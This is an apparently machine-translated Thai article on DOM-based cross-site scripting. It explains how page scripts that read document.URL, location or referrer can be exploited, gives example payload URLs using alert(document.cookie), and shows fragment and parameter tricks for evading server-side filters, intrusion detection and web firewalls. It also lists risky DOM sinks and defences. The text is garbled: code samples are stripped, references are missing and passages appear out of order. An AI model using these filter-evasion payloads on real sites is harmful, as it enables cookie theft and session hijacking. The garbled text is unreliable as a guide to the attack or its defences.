• ลูกค้าเยี่ยมชมไซต์ซึ่งอาจสร้างขึ้นโดยผู้โจมตี โดยที่ลิงก์ไปยังรูปภาพหรือองค์ประกอบ HTML อื่น ๆ ที่สามารถคลิกได้จะทำให้เบราว์เซอร์เปิดลิงก์นั้น ขอย้ำอีกครั้ง ในกรณีนี้ จำเป็นต้องใช้เบราว์เซอร์เดียวกันในการเข้าถึงทั้งไซต์นี้และไซต์ www.vulnerable.site

รหัส JavaScript ที่เป็นอันตรายสามารถเข้าถึงข้อมูลใด ๆ ต่อไปนี้:

• คุกกี้ถาวร (ของเว็บไซต์ www.vulnerable.site) ซึ่งถูกจัดเก็บโดยเบราว์เซอร์
• คุกกี้เข้า แรม(ไซต์ www.vulnerable.site) ซึ่งได้รับการสนับสนุนโดยอินสแตนซ์ของเบราว์เซอร์เฉพาะเมื่อดูไซต์ www.vulnerable.site เท่านั้น
• ชื่อของหน้าต่างอื่นที่เปิดสำหรับไซต์ www.vulnerable.site
• ข้อมูลใด ๆ ที่มีอยู่ในปัจจุบัน แบบจำลอง DOM(จากค่า, โค้ด HTML ฯลฯ)

โดยทั่วไปข้อมูลการระบุ การอนุญาต และการตรวจสอบความถูกต้องจะถูกจัดเก็บในรูปแบบของคุกกี้ หากคุกกี้เหล่านี้ยังคงอยู่ เหยื่อก็เสี่ยงต่อการถูกโจมตีแม้ว่าเขาจะไม่ได้ใช้เบราว์เซอร์เมื่อเข้าถึง www.vulnerable.site อย่างไรก็ตาม หากคุกกี้เป็นแบบชั่วคราว (เช่น ถูกเก็บไว้ใน RAM) จะต้องมีเซสชันกับไซต์ www.vulnerable.site ในฝั่งไคลเอ็นต์

การใช้งานป้ายระบุตัวตนที่เป็นไปได้อีกอย่างหนึ่งคือพารามิเตอร์ URL ในกรณีเช่นนี้ คุณสามารถเข้าถึงหน้าต่างอื่นๆ โดยใช้ JavaScript ได้ดังต่อไปนี้ (สมมติว่าชื่อของเพจที่มีพารามิเตอร์ URL ที่ต้องการคือ foobar):

หากต้องการเรียกใช้สคริปต์ JavaScript คุณสามารถใช้แท็ก HTML จำนวนมากนอกเหนือจาก . ในความเป็นจริง ยังสามารถวางโค้ด JavaScript ที่เป็นอันตรายบนเซิร์ฟเวอร์อื่นได้ จากนั้นหลอกให้ลูกค้าดาวน์โหลดสคริปต์และดำเนินการ สิ่งนี้มีประโยชน์หากคุณต้องการเรียกใช้โค้ดจำนวนมาก หรือหากโค้ดมีอักขระพิเศษ

ต่อไปนี้เป็นรูปแบบต่างๆ ของความเป็นไปได้เหล่านี้

• แทนที่จะเป็น... แฮกเกอร์สามารถใช้ . เหมาะสำหรับไซต์ที่กรองแท็ก HTML

• แทนที่จะ...คุณสามารถใช้สิ่งก่อสร้างได้ ซึ่งเป็นสิ่งที่ดีในสถานการณ์ที่โค้ด JavaScript ยาวเกินไป หรือมีอักขระที่ไม่ถูกต้อง

บางครั้งข้อมูลที่ฝังอยู่ในหน้าตอบกลับจะอยู่ในบริบท HTML แบบชำระเงิน ในกรณีนี้ คุณต้อง "escape" ไปยังบริบทที่ว่างก่อน จากนั้นจึงทำการโจมตี XSS ตัวอย่างเช่น ถ้าข้อมูลถูกแทรกเป็นค่าเริ่มต้นสำหรับฟิลด์ฟอร์ม HTML:

และโค้ด HTML ที่ได้จะเป็นดังนี้:

เราทุกคนรู้ดีว่า Cross-Site scripting คืออะไรใช่ไหม? นี่เป็นช่องโหว่ที่ผู้โจมตีส่งข้อมูลที่เป็นอันตราย (โดยปกติคือ HTML ที่มีโค้ด Javascript) ซึ่งแอปพลิเคชันส่งคืนในภายหลัง ส่งผลให้โค้ด Javascript ถูกเรียกใช้ ดังนั้นสิ่งนี้จึงไม่เป็นความจริง! มีการโจมตี XSS ประเภทหนึ่งที่ไม่สอดคล้องกับคำจำกัดความนี้ อย่างน้อยก็ในหลักการพื้นฐานขั้นพื้นฐาน การโจมตี XSS ตามที่กำหนดไว้ข้างต้น แบ่งออกเป็นการโจมตีแบบทันที (ข้อมูลที่เป็นอันตรายจะถูกฝังอยู่ในหน้าที่ถูกส่งกลับไปยังเบราว์เซอร์ทันทีหลังจากการร้องขอ) และการโจมตีแบบล่าช้า (ข้อมูลที่เป็นอันตรายจะถูกส่งกลับหลังจากผ่านไประยะหนึ่ง) แต่มีการโจมตี XSS ประเภทที่สาม ซึ่งไม่ได้ขึ้นอยู่กับการส่งข้อมูลที่เป็นอันตรายไปยังเซิร์ฟเวอร์ แม้ว่าจะดูเหมือนขัดกับสัญชาตญาณ แต่ก็มีตัวอย่างการโจมตีดังกล่าวที่ได้รับการบันทึกไว้อย่างดีสองตัวอย่าง บทความนี้จะอธิบายการโจมตี XSS ประเภทที่สาม - XSS ถึง DOM (DOM Based XSS) จะไม่มีอะไรใหม่โดยพื้นฐานเกี่ยวกับการโจมตีที่จะเขียนไว้ที่นี่ แต่นวัตกรรมของเนื้อหานี้จะเน้นไปที่คุณสมบัติที่โดดเด่นของการโจมตี ซึ่งมีความสำคัญและน่าสนใจมาก

นักพัฒนาและผู้ใช้แอปพลิเคชันจะต้องเข้าใจหลักการโจมตี XSS ผ่าน DOM เนื่องจากอาจเป็นภัยคุกคามต่อแอปพลิเคชันบนเว็บและแตกต่างจาก XSS ทั่วไป มีเว็บแอปพลิเคชันจำนวนมากบนอินเทอร์เน็ตที่เสี่ยงต่อ XSS ผ่าน DOM และในขณะเดียวกันก็ทดสอบ XSS และพบว่า "คงกระพัน" ต่อการโจมตีประเภทนี้ นักพัฒนาและผู้ดูแลไซต์ควรทำความคุ้นเคยกับเทคนิคในการตรวจจับและป้องกัน XSS ผ่าน DOM เนื่องจากเทคนิคเหล่านี้แตกต่างจากเทคนิคที่ใช้ในการจัดการกับช่องโหว่ XSS มาตรฐาน

ผู้อ่านควรทำความคุ้นเคยกับหลักการพื้นฐานของการโจมตี XSS (, , , , ) XSS มักจะหมายถึงสคริปต์ข้ามไซต์แบบทันที () และแบบ Lazy ด้วย XSS แบบทันที โค้ดที่เป็นอันตราย (Javascript) จะถูกส่งกลับโดยเซิร์ฟเวอร์ที่ถูกโจมตีทันทีเป็นการตอบสนองต่อคำขอ HTTP XSS ที่เลื่อนออกไปหมายความว่าโค้ดที่เป็นอันตรายจะถูกจัดเก็บไว้ในระบบที่ถูกโจมตีและสามารถแทรกเข้าไปได้ในภายหลัง หน้า HTMLระบบที่มีช่องโหว่ ดังที่ได้กล่าวไว้ข้างต้น การจัดหมวดหมู่นี้ถือว่าคุณสมบัติพื้นฐานของ XSS คือโค้ดที่เป็นอันตรายจะถูกส่งจากเบราว์เซอร์ไปยังเซิร์ฟเวอร์ และส่งคืนไปยังเบราว์เซอร์เดียวกัน (แฟลช XSS) หรือเบราว์เซอร์อื่น ๆ (XSS ล่าช้า) บทความนี้ทำให้เกิดปัญหาว่านี่คือการจัดประเภทที่ไม่ถูกต้อง ความสามารถในการโจมตี XSS ที่ไม่ต้องอาศัยการแทรกโค้ดลงในเพจที่เซิร์ฟเวอร์ส่งคืนจะมีผลกระทบอย่างมากต่อเทคนิคความปลอดภัยและการตรวจจับ หลักการของการโจมตีดังกล่าวจะกล่าวถึงในบทความนี้

ก่อนที่จะอธิบายสถานการณ์การโจมตีที่ง่ายที่สุด สิ่งสำคัญคือต้องเน้นย้ำว่าวิธีการที่อธิบายไว้ที่นี่ได้รับการสาธิตต่อสาธารณะหลายครั้งแล้ว (เช่น และ) ฉันไม่ได้อ้างว่าวิธีการด้านล่างนี้ได้รับการอธิบายเป็นครั้งแรก (แม้ว่าบางส่วนจะแตกต่างจากเนื้อหาที่เผยแพร่ก่อนหน้านี้)

สัญญาณของไซต์ที่มีช่องโหว่อาจเป็นการมีอยู่ของหน้า HTML ที่ใช้ข้อมูลจาก document.location, document.URL หรือ document.referrer (หรือวัตถุอื่นใดที่อาจได้รับอิทธิพลจากผู้โจมตี) ในลักษณะที่ไม่ปลอดภัย

หมายเหตุสำหรับผู้อ่านที่ไม่คุ้นเคยกับออบเจ็กต์ Javascript เหล่านี้: เมื่อโค้ด Javascript ทำงานในเบราว์เซอร์ จะเข้าถึงออบเจ็กต์ต่างๆ ที่แสดงภายใน DOM ( วัตถุเอกสารแบบอย่าง แบบจำลองวัตถุเอกสาร). ออบเจ็กต์เอกสารเป็นออบเจ็กต์หลักและให้การเข้าถึงคุณสมบัติส่วนใหญ่ของเพจ ออบเจ็กต์นี้มีออบเจ็กต์ที่ซ้อนกันจำนวนมาก เช่น ตำแหน่ง, URL และผู้อ้างอิง สิ่งเหล่านี้ถูกควบคุมโดยเบราว์เซอร์ตามมุมมองของเบราว์เซอร์ (ดังที่เห็นด้านล่างนี้ ซึ่งถือว่าค่อนข้างสำคัญ) ดังนั้น document.URL และ document.location จึงมี URL ของหน้า หรือพูดให้ละเอียดกว่านั้นคือความหมายของเบราว์เซอร์ด้วย URL โปรดทราบว่าออบเจ็กต์เหล่านี้ไม่ได้นำมาจากเนื้อหาของหน้า HTML วัตถุเอกสารประกอบด้วยวัตถุเนื้อหาที่มีรหัส HTML ที่แยกวิเคราะห์ของหน้า

การค้นหาหน้า HTML ที่มีโค้ด Javascript ที่จะแยกวิเคราะห์สตริง URL นั้นไม่ใช่เรื่องยาก (เข้าถึงผ่าน document.URL หรือ document.location) และดำเนินการบางอย่างในฝั่งไคลเอ็นต์ตามค่าของมัน ด้านล่างนี้เป็นตัวอย่างของโค้ดดังกล่าว

โดยการเปรียบเทียบกับตัวอย่างใน ให้พิจารณาหน้า HTML ต่อไปนี้ (สมมติว่าเนื้อหาคือ http://www.vulnerable.site/welcome.html):

ยินดีต้อนรับ! สวัสดี var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
ยินดีต้อนรับสู่ระบบของเรา...

อย่างไรก็ตาม แบบสอบถามเช่นนี้ -

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

จะทำให้เกิด XSS มาดูสาเหตุกัน: เบราว์เซอร์ของเหยื่อได้รับลิงก์นี้แล้วส่งคำขอ HTTP ไปที่ www.vulnerable.site และรับหน้า HTML (คงที่!) ดังกล่าวข้างต้น เบราว์เซอร์ของเหยื่อเริ่มแยกวิเคราะห์โค้ด HTML นี้ DOM มีออบเจ็กต์เอกสารที่มีฟิลด์ URL และฟิลด์นี้จะเต็มไปด้วยค่าของ URL ของเพจปัจจุบันในระหว่างการสร้าง DOM เมื่อ parser เข้าถึงโค้ด Javascript มันก็จะเรียกใช้งาน ซึ่งทำให้เกิดการเปลี่ยนแปลงโค้ด HTML ของเพจที่แสดง ในกรณีนี้ รหัสอ้างอิงถึง document.URL และเนื่องจากส่วนหนึ่งของสตริงนี้ถูกฝังอยู่ใน HTML ในระหว่างการแยกวิเคราะห์ ซึ่งจะถูกแยกวิเคราะห์ทันที รหัสที่ตรวจพบ (alert(...)) จะถูกดำเนินการในบริบทของหน้าเดียวกัน

หมายเหตุ:

1. โค้ดที่เป็นอันตรายไม่ได้ฝังอยู่ในหน้า HTML (ไม่เหมือนกับ XSS ประเภทอื่น)
2. การใช้ประโยชน์นี้จะใช้งานได้หากเบราว์เซอร์ไม่ได้แก้ไขอักขระ URL Mozilla เข้ารหัสอักขระ '' โดยอัตโนมัติ (ใน %3C และ %3E ตามลำดับ) ในออบเจ็กต์เอกสารที่ซ้อนกัน หากพิมพ์ URL ลงในแถบที่อยู่โดยตรง เบราว์เซอร์นี้ไม่เสี่ยงต่อการโจมตีที่อธิบายไว้ในตัวอย่างนี้ อย่างไรก็ตาม หากการโจมตีไม่จำเป็นต้องใช้อักขระ '' (ในรูปแบบเดิมที่ไม่มีการเข้ารหัส) การโจมตีก็สามารถดำเนินการได้ ไมโครซอฟต์ อินเทอร์เน็ตเอ็กซ์พลอเรอร์ 6.0 ไม่เข้ารหัส '' และดังนั้นจึงเสี่ยงต่อการโจมตีที่อธิบายไว้โดยไม่มีข้อจำกัดใดๆ อย่างไรก็ตาม มีสถานการณ์การโจมตีที่แตกต่างกันมากมายที่ไม่ต้องใช้ '' ดังนั้นแม้แต่ Mozilla ก็ยังไม่รอดพ้นจากการโจมตีครั้งนี้

ในตัวอย่างข้างต้น โค้ดที่เป็นอันตรายยังคงถูกส่งไปยังเซิร์ฟเวอร์ (ซึ่งเป็นส่วนหนึ่งของคำขอ HTTP) ดังนั้นจึงสามารถตรวจพบการโจมตีได้เช่นเดียวกับการโจมตี XSS อื่นๆ แต่นี่เป็นปัญหาที่แก้ไขได้

ลองพิจารณาตัวอย่างต่อไปนี้:

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

สังเกตสัญลักษณ์ '#' ทางด้านขวาของชื่อไฟล์ มันบอกเบราว์เซอร์ว่าทุกสิ่งที่อยู่หลังอักขระนี้ไม่ได้เป็นส่วนหนึ่งของคำขอ Microsoft Internet Explorer (6.0) และ Mozilla จะไม่ส่งแฟรกเมนต์หลังอักขระ '#' ไปยังเซิร์ฟเวอร์ ดังนั้นสำหรับเซิร์ฟเวอร์คำขอนี้จะเทียบเท่ากับ http://www.vulnerable.site/welcome.html เช่น โค้ดที่เป็นอันตรายจะไม่ถูกตรวจพบโดยเซิร์ฟเวอร์ ด้วยเทคนิคนี้ เบราว์เซอร์จึงไม่ส่งเพย์โหลดที่เป็นอันตรายไปยังเซิร์ฟเวอร์

อย่างไรก็ตาม ในบางกรณี ไม่สามารถซ่อนเพย์โหลดได้: ใน และเพย์โหลดที่เป็นอันตรายเป็นส่วนหนึ่งของชื่อผู้ใช้ใน URL เช่น http://username@host/ ในกรณีนี้ เบราว์เซอร์จะส่งคำขอพร้อมกับส่วนหัวการอนุญาตที่มีชื่อผู้ใช้ (เพย์โหลดที่เป็นอันตราย) ส่งผลให้โค้ดที่เป็นอันตรายเข้าถึงเซิร์ฟเวอร์ (เข้ารหัส Base64 - ดังนั้น IDS/IPS จะต้องถอดรหัสข้อมูลนี้ก่อนเพื่อตรวจจับการโจมตี) อย่างไรก็ตาม เซิร์ฟเวอร์ไม่จำเป็นต้องแทรกเพย์โหลดนี้ลงในหน้า HTML หน้าใดหน้าหนึ่งที่มีอยู่ แม้ว่านี่จะเป็นเงื่อนไขที่จำเป็นสำหรับการดำเนินการโจมตี XSS ก็ตาม

แน่นอนว่าในสถานการณ์ที่เพย์โหลดอาจถูกซ่อนไว้อย่างสมบูรณ์ การตรวจจับ (IPS) และการป้องกัน (IPS) ไฟร์วอลล์สำหรับเว็บแอปพลิเคชัน) ไม่สามารถป้องกันการโจมตีนี้ได้อย่างสมบูรณ์ แม้ว่าจะต้องส่งเพย์โหลดไปยังเซิร์ฟเวอร์ แต่ในหลายกรณีสามารถแปลงเพย์โหลดได้ด้วยวิธีใดวิธีหนึ่งเพื่อหลีกเลี่ยงการตรวจจับ ตัวอย่างเช่น หากพารามิเตอร์บางตัวได้รับการป้องกัน (เช่น พารามิเตอร์ชื่อในตัวอย่างด้านบน) การเปลี่ยนแปลงเล็กน้อยในสคริปต์การโจมตีสามารถสร้างผลลัพธ์ดังต่อไปนี้:

(เอกสาร.คุกกี้)

นโยบายความปลอดภัยที่เข้มงวดมากขึ้นจะต้องส่งพารามิเตอร์ชื่อ ในกรณีนี้ คุณสามารถส่งคำขอต่อไปนี้:

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

หากนโยบายความปลอดภัยของคุณจำกัดชื่อพารามิเตอร์เพิ่มเติม (เช่น foobar) คุณสามารถใช้ตัวเลือกต่อไปนี้:

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

โปรดทราบว่าพารามิเตอร์ที่ถูกละเว้น (foobar) จะต้องมาก่อนและมีค่าเพย์โหลด

สถานการณ์การโจมตีที่อธิบายไว้ในนั้นเป็นที่นิยมมากกว่าสำหรับผู้โจมตี เนื่องจากค่าเต็มของ document.location ถูกเขียนลงในหน้า HTML (โค้ด Javascript จะไม่ค้นหาชื่อพารามิเตอร์เฉพาะ) ดังนั้นผู้โจมตีสามารถซ่อนเพย์โหลดได้อย่างสมบูรณ์โดยส่งสิ่งต่อไปนี้:

/attachment.cgi?id=&action=foobar#alert(document.cookie)

แม้ว่าเพย์โหลดจะถูกแยกวิเคราะห์โดยเซิร์ฟเวอร์ การป้องกันสามารถรับประกันได้ก็ต่อเมื่อคำขอถูกปฏิเสธหรือการตอบสนองถูกแทนที่ด้วยข้อความแสดงข้อผิดพลาดบางส่วน อ้างอิงอีกครั้งถึง และ: หากส่วนหัวการอนุญาตถูกลบออกโดยระบบรักษาความปลอดภัยระดับกลาง จะไม่มีผลใดๆ หากส่งคืนหน้าต้นฉบับ ในทำนองเดียวกัน ความพยายามในการประมวลผลข้อมูลบนเซิร์ฟเวอร์โดยการลบหรือเข้ารหัสอักขระที่ผิดกฎหมายจะไม่ได้ผลต่อการโจมตีครั้งนี้

ในกรณีของ document.referrer เพย์โหลดจะถูกส่งไปยังเซิร์ฟเวอร์ผ่านส่วนหัว Referer อย่างไรก็ตาม หากเบราว์เซอร์ของผู้ใช้หรือการป้องกันระดับกลางลบส่วนหัวนี้ จะไม่มีร่องรอยของการโจมตีซึ่งสามารถตรวจไม่พบได้อย่างสมบูรณ์

โดยสรุปแล้วเราก็สรุปได้ว่าวิธีการแบบเดิมๆ กล่าวคือ

1. การเข้ารหัสข้อมูล HTML ฝั่งเซิร์ฟเวอร์
2. การลบ/การเข้ารหัสฝั่งเซิร์ฟเวอร์ของอินพุตที่ต้องห้ามไม่สามารถใช้ได้กับ DOM XSS

การค้นหาช่องโหว่โดยอัตโนมัติโดยการ "โจมตี" ข้อมูลที่เป็นอันตราย (บางครั้งเรียกว่า fuzzing) จะไม่ทำงาน เนื่องจากโปรแกรมที่ใช้เทคนิคนี้มักจะทำการอนุมานโดยพิจารณาว่าข้อมูลที่ฝังอยู่ในหน้าที่ส่งคืนหรือไม่ (แทนที่จะรันโค้ดในบริบท ของเบราว์เซอร์บนฝั่งไคลเอ็นต์และติดตามผลลัพธ์) อย่างไรก็ตาม หากโปรแกรมสามารถวิเคราะห์โค้ด Javascript ที่พบในหน้าเว็บได้อย่างคงที่ โปรแกรมอาจชี้ให้เห็นสัญญาณที่น่าสงสัย (ดูด้านล่าง) และแน่นอนว่า หากเครื่องมือรักษาความปลอดภัยสามารถรันโค้ด Javascript (และเริ่มต้นออบเจ็กต์ DOM ได้อย่างถูกต้อง) หรือจำลองการดำเนินการดังกล่าว เครื่องมือเหล่านั้นจะสามารถตรวจจับการโจมตีนี้ได้

การค้นหาช่องโหว่ด้วยตนเองโดยใช้เบราว์เซอร์ก็ใช้งานได้เช่นกัน เนื่องจากเบราว์เซอร์สามารถรันโค้ด Javascript ฝั่งไคลเอ็นต์ได้ เครื่องมือช่องโหว่สามารถใช้วิธีนี้และเรียกใช้โค้ดฝั่งไคลเอ็นต์เพื่อตรวจสอบผลลัพธ์ของการดำเนินการ
การป้องกันที่มีประสิทธิภาพ

หลีกเลี่ยงการเขียนเอกสารฝั่งไคลเอ็นต์ใหม่ การเปลี่ยนเส้นทาง หรือการดำเนินการอื่นที่คล้ายคลึงกันซึ่งใช้ข้อมูลฝั่งไคลเอ็นต์ การดำเนินการเหล่านี้ส่วนใหญ่สามารถทำได้โดยใช้เพจไดนามิก (ฝั่งเซิร์ฟเวอร์)
2.

การวิเคราะห์และปรับปรุงความปลอดภัยของโค้ด (Javascript) ในฝั่งไคลเอ็นต์ การอ้างอิงถึงวัตถุ DOM ที่อาจได้รับอิทธิพลจากผู้ใช้ (ผู้โจมตี) จะต้องได้รับการตรวจสอบอย่างรอบคอบ ควรให้ความสนใจเป็นพิเศษกับวัตถุต่อไปนี้ (แต่ไม่ จำกัด เพียงสิ่งต่อไปนี้):
* เอกสาร.URL
* document.URLUnencoded
* document.location (และคุณสมบัติ)
* เอกสารผู้อ้างอิง
* window.location (และคุณสมบัติของมัน)

โปรดทราบว่าคุณสมบัติของเอกสารและวัตถุหน้าต่างสามารถอ้างอิงได้หลายวิธี: อย่างชัดเจน (ตัวอย่าง: window.location) โดยปริยาย (ตัวอย่าง: ตำแหน่ง) หรือโดยการรับหมายเลขอ้างอิงและใช้งาน (ตัวอย่าง: handle_to_some_window.location)

ควรให้ความสนใจเป็นพิเศษกับโค้ดที่มีการแก้ไข DOM ไม่ว่าจะโดยตรงหรืออาจผ่านการเข้าถึง HTML โดยตรงหรือผ่านการเข้าถึง DOM โดยตรง ตัวอย่าง (นี่ไม่ใช่รายการที่ครบถ้วนสมบูรณ์):
* ป้อนรหัส HTML ของหน้า:
o เอกสารเขียน(...)
o document.writeln(...)
o document.body.innerHtml=...
* การเปลี่ยน DOM โดยตรง (รวมถึงเหตุการณ์ DHTML):
o document.forms.action=… (และรูปแบบอื่นๆ)
o document.attachEvent(...)
o document.create…(…)
o document.execCommand(...)
o เอกสาร.ร่างกาย ... (เข้าถึง DOM ผ่านวัตถุเนื้อหา)
o window.attachEvent(...)
* การเปลี่ยน URL ของเอกสาร:
o document.location=… (รวมถึงการกำหนดค่า href, โฮสต์และชื่อโฮสต์ให้กับวัตถุตำแหน่ง)
o document.location.hostname=...
o document.location.replace(...)
o document.location.มอบหมาย(...)
o document.URL=...
o window.navigate(...)
* การเปิด/แก้ไข วัตถุหน้าต่าง:
o document.open(...)
o window.open(...)
o window.location.href=… (รวมถึงการกำหนดค่าโฮสต์และชื่อโฮสต์ให้กับวัตถุตำแหน่ง)
* ดำเนินการสคริปต์โดยตรง:
หรือประเมิน(…)
o window.execScript(...)
o window.setInterval(...)
o window.setTimeout(...)

ดำเนินการต่อด้วยตัวอย่างข้างต้นสำหรับ การป้องกันที่มีประสิทธิภาพสคริปต์ต้นฉบับสามารถแทนที่ได้ด้วยโค้ดต่อไปนี้ ซึ่งจะตรวจสอบสตริงที่เขียนลงในเพจ HTML เพื่อให้แน่ใจว่ามีเพียงอักขระตัวอักษรและตัวเลขเท่านั้น